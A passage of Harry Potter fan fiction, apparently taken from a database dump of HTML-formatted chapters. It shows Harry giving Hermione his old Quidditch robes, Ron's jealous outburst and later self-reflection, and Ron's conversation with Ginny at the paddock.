<i>we</i> are <i>growing up</i>?&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">Fred&#8217;s eyes widened in shock. Looking at\nGeorge, he whispered, &#8220;Oh, <i>God</i>! I hope not!&#8221;</p>\n\n<p class="MsoBodyText" style="text-align:center" align="center">*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p class="MsoBodyTextFirstIndent">Harry and Hermione lay quietly on the ground\nwatching white, fluffy clouds roll across the blue sky.&nbsp; They felt at peace, contented within their\ntiny bubble of space and time, sharing a sense of friendship and companionship\nthat they had never felt during the years they were growing up.</p>\n\n<p class="MsoBodyTextFirstIndent">Their ears pricked up, however, when they heard\nthe clatter of pots and pans from the kitchen of the Weasley house &#8211; and they\nknew that Molly would be up, preparing breakfast for her expanded brood.&nbsp; Reluctantly, they sat up and looked around\nthem, as if trying to preserve the memory of this moment forever.</p>\n\n<p class="MsoBodyTextFirstIndent">Harry stood up then, brushing the mud and grass\nfrom his pants and held out a hand to his friend. &nbsp;For a moment, she looked at him &#8211; brown eyes holding onto greens &#8211;\nbefore she smiled and grasped his hand.&nbsp;\nSilently, he pulled her up and started beating grass and mud from her\nrobes.</p>\n\n<p class="MsoBodyTextFirstIndent">She looked down at her borrowed robes in\nsurprise, and apologized, &#8220;Oh, Harry! I&#8217;m sorry &#8230; I didn&#8217;t mean to get your\nrobes all dirty &#8230;&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">He smiled at her again. &#8220;It&#8217;s OK, Mione.&nbsp; Besides, it&#8217;s not as if <i>you</i> were the\none who dirtied it up.&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;OK, but I&#8217;ll clean it up when we get to my\nroom &#8230; it&#8217;ll be as good as new &#8230;&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">Harry held up a hand, stopping her. &#8220;Why don&#8217;t\nyou keep it, Mione? I&#8217;ve grown too tall for it. Fact is, I keep wondering why\nI&#8217;ve held on to it &#8230; well, yeah, there was no Quidditch last year, so no need\nfor new robes. I&#8217;ll just order a new set from Madam Malkins when we go to\nDiagon Alley.&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">He had started walking back to the house, and\npaused when he felt Hermione wasn&#8217;t walking beside him.&nbsp; He looked at her, standing still in his\nrobes (they were just right for her, he noted. She looked like she could be a\nGryffindor Seeker!), a bemused expression on her face.</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;Mione?&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;But &#8230; but, Harry! They&#8217;re your <i>first</i>\never Quidditch robes! Surely they should have some <i>sentimental</i> value for\nyou?&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">Harry looked down at his shoes, slowly digging\na hole in the grass. He couldn&#8217;t explain why he felt the need to give <i>her</i>\nsomething of personal, and yes, <i>sentimental</i>, value to him.&nbsp; It just &#8230; felt &#8230; <i>right</i> &#8230; to give it\nto her &#8230; knowing that she would treasure it as much as he did.&nbsp; But he didn&#8217;t know why it felt so important\nto him <i>now</i> &#8230; all that he knew was that it was something he wanted to do,\nbut couldn&#8217;t explain the reasons for.</p>\n\n<p class="MsoBodyTextFirstIndent">He looked at her worried brown eyes, and had a\nsudden inspiration. &#8220;Hell, Hermione &#8230; you have just as much right to those\nrobes as I do &#8230; call it thanks for all those times you&#8217;ve saved me on the\nQuidditch field.&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;Huh?&#8221; Hermione looked at him, puzzled &#8211; and\nthen her face cleared as the memories suddenly kicked in &#8230; setting fire to\nProfessor Snape&#8217;s robes when she thought he was jinxing Harry&#8217;s broom in their\nfirst year &#8211; and Harry&#8217;s first game &#8230; performing the Impervius charm on Harry&#8217;s\nglasses to repel water during a rainy game in their second year &#8230; helping\nProfessor Flitwick gather up the broken pieces of Harry&#8217;s faithful Nimbus 2000\nfrom the Whomping Willow in third &#8230; cheering like mad at every game, and\nwondering how she could shout when her heart was in her throat every single\ntime &#8230; and an incident in second year that even now caused her to blush &#8230;</p>\n\n<p class="MsoBodyTextFirstIndent">Harry&#8217;s worried voice penetrated her fevered\nbrain, &#8220;Mione? What&#8217;s wrong?&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">She looked into his green eyes and blushed even\nredder. &#8220;Ohhh &#8230; I was just remembering third year &#8230; and the Firebolt &#8230; can you\nforgive me for that?&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;Oh.&#8221; Harry looked at her, his eyes clearing\nmomentarily from the worry that was there. &#8220;C&#8217;mon, Mione &#8211; that was two years\nago! I&#8217;ve forgiven you.&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;Just wanted to make sure,&#8221; she said.&nbsp; She <i>couldn&#8217;t</i> tell him that what had\ncaused her to blush was the memory of Ron and Neville fighting with Malfoy and\nhis cronies under the benches of the Quidditch stands, while she was jumping up\nand down on top of the benches, cheering Harry on. She could never forget the\nlook on Ron&#8217;s face when he emerged from the stands with a heavy nosebleed,\nhappy and triumphant at having a piece of Malfoy &#8211; and his chagrin when he\nrealized that she had been cheering Harry, not him!&nbsp; She hadn&#8217;t even noticed his nose bleeding until they were leaving\nthe stands &#8230;</p>\n\n<p class="MsoBodyTextFirstIndent">Looking back, she wondered (as she had a\nhundred or more times over the years) what was it about her friend that made\nher so ready to break the rules, just to keep him safe?&nbsp; For someone who held teachers in great\nrespect, she had willingly set fire to Professor Snape&#8217;s robes &#8211; and that was\nin her <i>first</i> year.&nbsp; She had been\njust as prepared to use the Leg-Locker curse on Snape when he was refereeing\nthe Gryffindor-Hufflepuff game in that same year &#8230; to say nothing of actually\nhitting Snape (again!) with a Disarming Spell in their third year &#8230; </p>\n\n<p class="MsoBodyTextFirstIndent">She looked at Harry and nodded, saying,\n&#8220;Thanks, Harry &#8230; I&#8217;ll treasure this, always.&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">He grinned at her and, holding her by the\nelbow, started leading her towards the house, replying with a, &#8220;No &#8230; <i>you&#8217;re</i>\nwelcome, Mione.&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">He felt her stiffen, and turning to her, saw\nher eyes grow cold and furious. &#8216;Uh-oh!&#8217; he thought, &#8216;I&#8217;ve gone too far &#8230;&#8217;</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;Harry Potter! You <i>know</i> I <i>hate</i>\nthat name!&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;Ah, well &#8230; since you didn&#8217;t seem to mind &#8230; I &#8230;\nuh &#8230;&#8221; All the while, he was slowly backing off from her.</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;Mind? Oh, no &#8230; I don&#8217;t <i>mind</i> &#8230;&#8221; she\nsaid, advancing on him. &#8220;I don&#8217;t <i>mind</i> when you do it once or twice\nbecause I know you&#8217;re just doing it to tease me &#8230; but do you know <i>how many\ntimes this </i><u>morning</u><i> you&#8217;ve been calling me that</i>?&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;Three? Four?&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;<i>Seven</i>, Harry Potter. <i>Seven times in\nthe last five minutes </i>&#8230;&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;Well, then, Mione &#8230; there&#8217;s just one thing for\nyou to do.&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;And that is?&#8221; She asked with a deadly gleam in\nher eyes.</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;Catch me if you can, Mione!&#8221; And with that,\nHarry scrambled for the door as fast as his legs could take him, Hermione in\nhot pursuit.&nbsp; He almost made it to the\ndoor, but was stumped to find it locked &#8211; without his wand, he couldn&#8217;t open it\nwith the Alohomora charm &#8230; and that was where Hermione tackled him, pushing him\nagainst the door, hitting him mercilessly (if ineffectually) ...</p>\n\n<p class="MsoBodyTextFirstIndent">And they both fell into the house as the door\nwas wrenched open, and looked up into the bemused eyes of Ronald Weasley.\nHermione scrambled up, her reddened face matched only by Harry&#8217;s blush &#8230; they\nopened their mouths to speak, to apologize, to say <i>something</i> &#8230;</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;Mum&#8217;s been up for some time,&#8221; Ron said in a\ncold, flat voice to Hermione. His eyes focused on the Quidditch robes she wore\nbefore shifting to meet her eyes.&nbsp; For\nthe briefest moment, she caught a glimpse of icy blue eyes that sent an\ninvoluntary shiver down her spine, before Ron turned away with the accusatory comment,\n&#8220;You&#8217;d better hurry if you&#8217;re helping her fix breakfast.&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">Hermione&#8217;s brown eyes flashed at his tone;\ndimly, she noticed Harry&#8217;s mouth drop and another surge of red flush over his\nface at Ron&#8217;s tone. Before either of them could make a comment, Ron turned away\nand walked out the open front door, tossing a &#8220;Tell Mum I&#8217;m going for a walk.\nSee you later&#8221; over his shoulder.</p>\n\n<p class="MsoBodyTextFirstIndent">Harry stared at his best friend&#8217;s back,\nconfusion replacing the angry flush on his face at the tone he had taken with\nHermione.&nbsp; If there was one thing\nguaranteed to rile his friend, it was to hint at irresponsibility or\ncapriciousness, whether in word, tone or manner.</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;What&#8217;s eating him?&#8221; he asked, only to see\nHermione running up the stairs, a brief glimpse of slim legs seen as she removed\nthe robe on her way up.&nbsp; &#8220;Hermione?&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">She ignored his question, leaving him\nbewildered in the still-open doorway.&nbsp;\nHe heard a soft, shuffling sound from the direction of the dining room\nand glanced there only to see Mrs. Weasley&#8217;s back as she retreated to the\nkitchen.</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;What in hell is going on here?&#8221; Harry asked of\nthe suddenly empty house.</p>\n\n<p class="MsoBodyTextFirstIndent">&nbsp;</p>\n\n<p class="MsoBodyTextFirstIndent">&nbsp;</p>\n\n\n\n\n\n\n'),
	(125, 3, '\n\n\n\n<p class="MsoTitle">Epiphanies - 02</p>\n\nChapter 2.&nbsp; Brothers and Other Siblings\n\n<p class="MsoBodyTextFirstIndent">Ron strode briskly down the driveway of The\nBurrow, heading for the paddock where the brothers and Harry had played\nQuidditch many a time during the summers. He wanted to break out into a run so\nthat the wind could cool his fevered face, but held himself in &#8230; no need to\nfurther embarrass himself, after that display.</p>\n\n<p class="MsoBodyTextFirstIndent">His face burned, so much so that anyone looking\nat him would be quite unable to say where his hairline ended or began.&nbsp; &#8216;Of all the <i>stupid</i> &#8230;<i>brainless</i>\n&#8230; <i>daft &#8230; </i><b>things</b> to say &#8230; if there&#8217;s <i>one</i> thing guaranteed\nto make Hermione barking mad &#8230; making her sound like &#8230; like she&#8217;s a <i>maid</i>\nor something &#8230;&#8217;</p>\n\n<p class="MsoBodyTextFirstIndent">He shook his head, angry at himself and his\nhair-trigger temper &#8230;he had lost count of how many times his temperament had\ngotten him in hot water &#8230; not just in Hogwarts (especially when Malfoy was\naround) &#8230; but all during his growing up years &#8230; at times, it seemed that his\nlife was nothing but a series of fights and near-fights, of insults given and insults\ntaken &#8230; of his brothers and Ginny holding him back from trying to rub someone&#8217;s\nnose in the dirt &#8230; and, lately, of Harry and Hermione holding him back from\nmaking an ill-timed or ill-conceived move.</p>\n\n<p class="MsoBodyTextFirstIndent">He smiled grimly &#8211; at least, he&#8217;d had a chance\nto bloody Malfoy&#8217;s nose in first year &#8230; although he hadn&#8217;t had that\nsatisfaction again until the incident on the Hogwarts Express as they came home\nfrom fourth year.&nbsp; The last wasn&#8217;t as\nsatisfying, however; he was only one of the five who had hexed Malfoy and his\ncronies (Fred and George had been with them), and he wasn&#8217;t sure if he had hit\nMalfoy &#8230; too much smoke from the combination of hexes they had simultaneously\nthrown.</p>\n\n<p class="MsoBodyTextFirstIndent">He faltered in his walk &#8230; &#8216;yeah, that was fun,&#8217;\nhe thought savagely. &#8216;About time the stupid gits got something back for all\nthose insults that Harry and Hermione stopped me from. Good thing I had a\nworking wand &#8230;&#8217;</p>\n\n<p class="MsoBodyTextFirstIndent">He shivered suddenly as his mind brought back\nthe time he had tried hexing Malfoy with his Spell-o-taped wand, and he had\nended up in Hagrid&#8217;s hut spewing up slugs.&nbsp;\nThe mere thought of it made him want to throw up right there &#8230; he forced\nhis mind to other things. </p>\n\n<p class="MsoBodyTextFirstIndent">Like Hermione.</p>\n\n<p class="MsoBodyTextFirstIndent">The brown hair that fell way past her shoulders\nand always seemed to fall like a curtain around her face &#8230; the brown eyes that\nsparked with laughter or anger (he had to admit, though, that it more often\nsparked anger at him) &#8230; the strong chin &#8230; the perfect teeth &#8230;</p>\n\n<p class="MsoBodyTextFirstIndent">Teeth. Now why should he be thinking of <i>that</i>,\nof all things?&nbsp; He&#8217;d been there, but not\n<i>with </i>them,<i> </i>&nbsp;when&nbsp; Draco Malfoy and Harry had cast the hexes\nthat ricocheted against each other &#8211; Harry&#8217;s Funnunculus Curse hitting Goyle,\nMalfoy&#8217;s Densaugeo hex hitting Hermione, causing her front teeth to grow at an\nalarming rate &#8230; </p>\n\n<p class="MsoBodyTextFirstIndent">It wasn&#8217;t one of his fondest memories of the\nfour years spent, so far, at Hogwarts. He and Harry had been so furious at\nSnape that they lost fifty points for Gryffindor (thank God there was no House\nChampionship then because of the tournament!), and a detention pickling rat&#8217;s\nbrains in Snape&#8217;s dungeon.&nbsp; </p>\n\n<p class="MsoBodyTextFirstIndent">To top it all, that was the time when he wasn&#8217;t\ntalking to Harry &#8230; teed off as he was with the Goblet of Fire&#8217;s designation of\nHarry as the second Hogwarts champion.&nbsp;\nEven now, he wished he could sink into the ground at the thought &#8230; better\nyet, he sometimes wished he could perform a Memory Charm on himself and Harry\nso that the recollection of those weeks would not come back to haunt him and\ntaunt him, especially at times like this.</p>\n\n<p class="MsoBodyTextFirstIndent">He forced his thoughts away from <i>that</i>,\nbut they only shifted back to Hermione &#8230; Hermione going back and forth between\nthe two of them, trying to convince them to start talking to each other again &#8230;\nhis stubborn refusal to do so unless and until Harry admitted that he had lied\nto him about putting his name in the Goblet &#8230; </p>\n\n<p class="MsoBodyTextFirstIndent">&#8216;<i>God, what an absolute prat I was!&#8217;</i>, Ron\nthought.<i> </i>He knew, deep inside, that he was acting the complete fool, but\nhe was just too stubborn to admit it.&nbsp;\nWhat made it worse was Rita Skeeter&#8217;s article on Harry, the Hogwarts&#8217;\nChampion &#8211; she had quite forgotten that Cedric Diggory was also a Hogwarts&#8217;\nChampion &#8211; and Harry&#8217;s supposedly &#8220;finding love&#8221; in the person of Hermione.</p>\n\n<p class="MsoBodyTextFirstIndent"><i>That</i> had pissed him off, royally. It was\nas if <i>he</i> were a non-existent, unimportant smudge of <i>dirt</i> in the\nwhole scheme of things &#8230; that his friendship with the great Harry Potter was of\nno <i>consequence</i> &#8230; the only reason <i>Hermione</i> even got a mention then\nwas because she was a <i>girl</i> &#8230; on the other hand, maybe that was better.\nIf Skeeter had focused on <i>him</i> &#8230; what would she have come up with? </p>\n\n<p class="MsoBodyTextFirstIndent">He stopped, and burst out laughing. &#8216;<i>Weird</i>,&#8217;\nhe thought, &#8220;I was so mad at being left out of that dammed article that I\ndidn&#8217;t even think of what it would have looked like if she did &#8230; what was that\nFrench word that Fred and George were sniggering about? <i>Menage&#8211;a-trois</i>?\nNow <i>that</i> would have sent Mum and Dad to the moon on their own power &#8230; On\nthe other hand, if Skeeter had focused on <i>me</i> &#8230; <i>bleargh!</i>&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">He looked back at his house &#8230; his <i>home</i> &#8230;\nthe place he had shared with his best friends for the past three years. Was <i>that</i>\nthe problem? he thought. He&#8217;d shared so much of what he could share with them &#8230;\nhis home, his family, his knowledge of the wizarding world &#8230; his <i>time</i> &#8230;\nthat he had felt left out &#8230; he couldn&#8217;t <i>believe</i> that Harry didn&#8217;t even\ntell <i>him</i> about putting his name into the Goblet &#8230; </p>\n\n<p class="MsoBodyTextFirstIndent">He sighed, again, and sat on the dewy grass,\nholding his head in his hands. Yes, he thought, Hermione was a better friend\nthan I was at that time &#8230; he couldn&#8217;t get past his anger at Harry, even with\nHermione&#8217;s logical explanation at breakfast the day after Halloween.&nbsp; He could still remember her brown eyes\nflashing in anger at him as she said in a coldly furious voice, &#8220;<i>Fine! Be a\nprat for all I care &#8230; why should Harry tell you anything when it&#8217;s obvious that\nhe </i>didn&#8217;t<i> do </i>anything<i>?&#8221;</i></p>\n\n<p class="MsoBodyTextFirstIndent">He&#8217;d watched her gather a stack of toast into a\nnapkin, on her way, no doubt, to console Harry.&nbsp; He couldn&#8217;t stop himself hissing at her, &#8220;<i>You care for him\nmore than you do for me, Hermione! Why? Because he&#8217;s </i>famous <i>Harry Potter\nand I&#8217;m just an ordinary Weasley?</i>&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">For a single, wild moment, Ron fully understood\nwhat Draco Malfoy must have felt when Hermione, in a fit of righteous anger,\nslapped him in their third year.&nbsp; The\nfury in her eyes was something to behold &#8230; he&#8217;d consciously braced himself for\nthe slap that he had so richly deserved &#8230; and sighed with relief when she\nstormed off with her stack of toast.</p>\n\n<p class="MsoBodyTextFirstIndent">The whole table had fallen silent at that\nexchange. When he looked around at his companions, no one was looking at\nhim.&nbsp; Even Fred, George and Ginny had\navoided him when he looked at them &#8230; only Neville had the courage (or the sheer\n<i>tactlessness</i>) to make the statement that capped that morning for him,\n&#8220;That was stupid, Ron.&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">He knew everyone at the table agreed.</p>\n\n<p class="MsoBodyTextFirstIndent">He sighed. He&#8217;d made up for that stupid remark\nlater, and was always extremely grateful that Hermione seemed to have forgotten\nabout it by that afternoon.&nbsp; But, like a\nstill unhealed wound, the memory kept pricking at him at unwanted times &#8230; reminding\nhim, once again, of the flaws in his character &#8230; the flaws that made him, <i>Ron\nWeasley</i>, what he was now &#8230; </p>\n\n<p class="MsoBodyTextFirstIndent">He shook the thought off, and stood up. He\ndidn&#8217;t need <i>that</i> kind of thinking to muddle up his day, so early in the\nmorning. He continued his brisk walk to the paddock, but the turmoil in his\nmind refused to leave.</p>\n\n<p class="MsoBodyTextFirstIndent">What was <i>he</i> now, he wondered to\nhimself.&nbsp; Ronald Weasley. Sixth child in\na brood of seven. Family of pure-bloods, as far as he knew.&nbsp; Father, Arthur Weasley, head of an obscure\nand <i>boring</i> department in the Ministry of Magic. Mother, Molly Weasley,\nhouse-witch. Tall, red headed, with big feet and hands. Two brothers, former\nHead Boys of Hogwarts &#8211; one now working with Gringotts, the other with the\nMinistry of Magic. Another brother, star Quidditch player and Seeker, who could\nhave played for England if he wanted to, but happier and thriving as he chased\ndragons in Rumania. </p>\n\n<p class="MsoBodyTextFirstIndent">Two other brothers, Quidditch Beaters but\nbetter known for the pranks and misdeeds that matched or even outshone the\npranks of the legendary Marauders.&nbsp; If ever\nWeasley&#8217;s Wizarding Wheezes got off the ground, they&#8217;d be even more popular in\nthe wizarding world, rather than in the limited circle of the Hogwarts&#8217; student\nbody and alumni.</p>\n\n<p class="MsoBodyTextFirstIndent">One sister, who opened the Chamber of Secrets\nin her first year.&nbsp; He reflected that <i>that</i>\nwas a reputation he could very well do without but wondered, briefly, how Ginny\nput up with it.</p>\n\n<p class="MsoBodyTextFirstIndent">And he?&nbsp;\nWhat was <i>his</i> claim to fame? </p>\n\n<p class="MsoBodyTextFirstIndent">He was the best friend of The Boy Who Lived.</p>\n\n<p class="MsoBodyTextFirstIndent">Yeah, right &#8230; but even <i>that</i> was being\nthreatened by Hermione Granger. After&nbsp;\nSkeeter&#8217;s articles in the Daily Prophet during the Tri-Wizard\nTournament, the fact of his friendship with Harry Potter was thrown into the\nshadows, eclipsed by the titillating matter of The Boy Who Lived&#8217;s love life.\nMore so when her name was linked with that of Victor Krum, the star of the\nBulgarian National Quidditch Team.</p>\n\n<p class="MsoBodyTextFirstIndent" style="tab-stops:1.0in">So, what was <i>he</i>?\nHe did have that Award for Special Services to the school, after they had\nrescued Ginny from the Chamber of Secrets &#8230; but who <i>cared</i>? Who would\neven remember about it, fifty years from now?&nbsp;\nHe remembered his detention in the trophy room during that same year,\npolishing up all those plaques and awards &#8230; he had surprised Harry and Hermione\nwhen he told them who Tom Riddle was, but that was only because he had spent so\nmuch time polishing the dammed award &#8211; only to spew out slugs all over the\nshiny thing &#8230;</p>\n\n<p class="MsoBodyTextFirstIndent">Was <i>that</i> how he was going to be\nremembered in the future? By some unfortunate student in detention, forced to\nshine plaques and awards without resort to magic, and thereby <i>coerced</i>\ninto remembering his name because of the odious task? <i>And</i> if that\nunfortunate ever tried to find out what it was that earned him <i>that</i>\naward &#8230; he&#8217;d have learned that it had something to do with <i>Harry Potter</i>\n&#8230; and his moment of glory will fade away &#8230;</p>\n\n<p class="MsoBodyTextFirstIndent">He mused again about the Mirror of Erised, and\nwhat it had reflected back to him when he stood before it the first time. He&#8217;d\nhad an easier time of it than Harry &#8230; Harry had kept coming back again and\nagain, evading detection from Filch and the professors so that he could sit in\nfront of the mirror and contemplate his parents.&nbsp; </p>\n\n<p class="MsoBodyTextFirstIndent">It had taken Dumbledore and the actual removal\nof the Mirror to break Harry&#8217;s enchantment with it. <i>He</i>, on the other\nhand, needed only that one look to convince him that the Mirror was lying, and\nwas a bad influence.&nbsp; Why? Because he <i>knew</i>\nthat what he saw in the Mirror, enchanting as it was, a reflection of his\ndeepest desires that it was, was ultimately <i>false</i>. He would <i>never</i>\nbe Head Boy &#8230; he would <i>never</i> be captain of Quidditch &#8230; he would <i>never</i>\nbe receiving the Quidditch Cup <i>or</i> the House Cup from Dumbledore &#8230; he\nwould never be anything than what he was now &#8230; a virtual non-entity in the\nwizarding world, except for his friendship with Harry.</p>\n\n<p class="MsoBodyTextFirstIndent">From the depths of his mind&#8217;s graveyards where\na thousand or a million unwanted thoughts were buried, came Draco Malfoy&#8217;s\ncutting words as they waited to be Sorted: &#8220;No need to ask who you are. Red\nhair, hand me down robes. You can only be a Weasley.&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent"><i>That</i> was his claim to fame then &#8230; and he\nremembered with immense gratification and surprise Harry&#8217;s reaction when Draco\nextended his hand to him: &#8220;I think I can decide who I want as my friends.&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent"><i>&nbsp;</i>Malfoy\nhad never been able to live that snub down; he had taken every opportunity to\ntaunt Ron and Hermione ever since. <i>He</i> had never taken those insults\nlightly: too many times had Harry and Hermione stopped him from trying to curse\nMalfoy.&nbsp; Hermione, on the other hand,\nallowed the insults to roll off her &#8230; except when she had slapped Malfoy for\nlaughing at&nbsp; Hagrid, and on the Hogwarts\nExpress when they were going home.</p>\n\n<p class="MsoBodyTextFirstIndent">He had to admit, though, that he admired\nHermione for her coolness in dealing with insults &#8211; even during their fourth\nyear with all the insults and jeers, to say nothing of the hate mail when\nSkeeter claimed she was playing with the affections of Harry and Krum.&nbsp; She had <i>never</i> let it affect her &#8230; it\nhad always been Ron who stood up for her &#8230;</p>\n\n<p class="MsoBodyTextFirstIndent">No, he admitted to himself. <i>Harry</i> did,\ntoo &#8230; again, the &#8220;teething&#8221; incident came to mind.&nbsp; Harry hadn&#8217;t reacted when Draco and the Slytherins were flashing\ntheir &#8220;Support Cedric Diggory&#8221; buttons around &#8211; he&#8217;d pulled his wand when Draco\ninsulted <i>Hermione</i> &#8230; which led to the unfortunate circumstances &#8230; or\nmaybe not.&nbsp; At least she&#8217;d gotten her\nteeth fixed magically &#8230; the now-perfect teeth that &#8230;</p>\n\n<p class="MsoBodyTextFirstIndent">Again, he pushed the thought away.&nbsp; He was beginning to feel like that Greek guy\nwho was forever pushing a rock up a mountain, only to see it slide down and\naway every time he neared the top.&nbsp;\nWalks alone like this bothered him &#8230; too much time to think and reflect.\nHe preferred walking with someone beside him, chattering &#8230; at least, he didn&#8217;t\nhave to <i>think</i> about his life &#8230;</p>\n\n<p class="MsoBodyTextFirstIndent">Which, to a large extent, was the reason why he\noften seemed to be bickering with Hermione. &nbsp;Harry, good friend that he was, too often fell prey to\nintrospection and deep thinking, used as he was to silence when he was growing\nup.&nbsp; Ron, on the other hand, <i>liked</i>\nthe noise &#8230; it kept him from thinking too much. Which was why he often picked\non Hermione &#8230; even when they&#8217;d called a truce after the Yule Ball &#8230;</p>\n\n<p class="MsoBodyTextFirstIndent">He&#8217;d reached the paddock and stopped. Taking a\ndeep breath of the fresh, cool air, he looked around at the place where he had\ngrown up.&nbsp; The paddock was high enough\nto afford a good view of the surrounding countryside &#8230; but he had never liked\nthat view.&nbsp; It made him feel\ninsignificant &#8230; as if he didn&#8217;t feel <i>insignificant</i> every day of his\nlife.</p>\n\n<p class="MsoBodyTextFirstIndent">&#8216;This is a bad idea,&#8217; he thought. &#8216;Best get\nback to the house &#8230;&#8217; but he cringed at the thought.&nbsp; How was he going to take back that hurtful tone of voice he used\nto Hermione &#8230; and how did he explain things like that to his best friend?&nbsp; They were both <i>guests</i> of the family &#8230;\nas well as <i>his</i> two best friends in the world &#8230;</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;Hey, Ron.&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">Startled, he spun around to see a slight figure\nsitting on the ground, wearing a scarlet Quidditch robe &#8230; and saw brown eyes\nstaring at him. His mouth dropped, his chest beating rapidly for a split second\nbefore his brain registered the ray of sunlight that brilliantly highlighted a head\nof hair as red as his own, as well as the fact that the Quidditch robes were\nold, worn and faded.</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;Wh &#8230; what are you doing here, Ginny?&#8221; he\ncroaked.</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;Thinking,&#8221; his sister replied. Peering at his\nstricken expression, she asked, &#8220;Why? Were you expecting someone else? Like &#8230;\nummm &#8230; Herm-<i>own</i>-ninny?&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;Shut up, Ginny,&#8221; he said as he leaned against\na tree. He was looking away from her, and heard her giggling softly.&nbsp; His face flushed, but he resolutely forced\nthe retort away from his lips. &#8220;So, what are you doing here, Gin?&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;As I said, thinking. I&#8217;ve been up for <i>hours</i>\n&#8230; sitting here &#8230; watching the world go by and the sun come up.&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">His head whipped to her and he heard his voice\nspeaking before he could clamp down on his lips, &#8220;Did you &#8230;&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;Uh-huh. It was so <i>sweet</i> &#8230;&#8221; Ginny said\nin a wistful voice. She was looking off into the distance, pictures, images and\nwords passing through her mind&#8217;s eye. Ron turned away from her &#8230; he didn&#8217;t want\nto hear <i>anything</i> about <i>that</i> right now.&nbsp; Although he hadn&#8217;t really <i>seen</i> anything, the image of\nHarry and Hermione when they fell through the door, with Hermione in Harry&#8217;s\nmud- and grass-stained robes was something he would gladly do without. His head\nwhipped back, however, as he heard Ginny say in a near-whisper, &#8220;It reminded me\nso much of Bill &#8230;&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;Bill?&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">Ginny looked at him with an exasperated air.\n&#8220;Is there any other Bill that you know? Hellooo &#8230; of course, <i>Bill</i> &#8230; you\nknow, your oldest <i>brother</i>?&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">Ron gaped at her. She continued in a wistful\nvoice, &#8220;He and I used to sit out there when I was seven or eight years old,\njust watching the sun rise.&nbsp; We never\nreally talked &#8230; he just sat there with me &#8230; it was somehow &#8230; <i>comforting</i>\nto me &#8230; sometimes, he&#8217;ll just hug me and I would feel safe &#8230; as if everything\nthat was happening was going to be all right.&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">Ginny&#8217;s voice and breathing hitched, &#8220;He found\nme sitting on that terrace outside the hotel in Egypt &#8230; he just sat down beside\nme &#8230; gave me a hug, and we watched the sunrise together &#8230; I felt comfortable &#8230;\nat peace, finally after &#8230; after &#8230;&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">He caught the sheen of tears in her eyes, and\nstood there, frozen.&nbsp; He didn&#8217;t know\nwhat to do or how to react &#8230; wildly, his mind went back to third year when a\ncrying Hermione suddenly hugged him when he promised to help her with Hagrid&#8217;s\nappeal for Buckbeak &#8230; and he knew what he must do now.</p>\n\n<p class="MsoBodyTextFirstIndent">He walked over and sat down beside his sister,\nand gave her as tight a hug as he could, and felt her tears leaking through his\nshirt. &#8220;Shhh,&#8221; he whispered as he tried to comfort her, &#8220;Shhh, come on, it&#8217;s\nall right &#8230; it&#8217;s all right &#8230;&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">He heard Ginny&#8217;s muffled voice coming from the\nregion of his chest, &#8220;It was so sweet, Ron &#8230; I thought I heard Harry going out\nof the house, and I wanted to go with him &#8230; but then I heard Hermione getting\nup and going out &#8230; I couldn&#8217;t help myself &#8230; I went and got Charlie&#8217;s old robes\n&#8230; remember, he gave them to me when he graduated from Hogwarts &#8230; and went out\nhere to watch &#8230; it was so beautiful &#8230;&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;They weren&#8217;t snogging the whole time, were\nthey?&#8221; Ron said, trying for a light moment &#8211; and was surprised when Ginny\nsuddenly shoved him away. He fell back on the wet grass, narrowly missing the\nthick roots of a tree. &#8220;Ow! What did you do that for?&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">Ginny was standing over him, hands on hips,\nbrown eyes blazing with 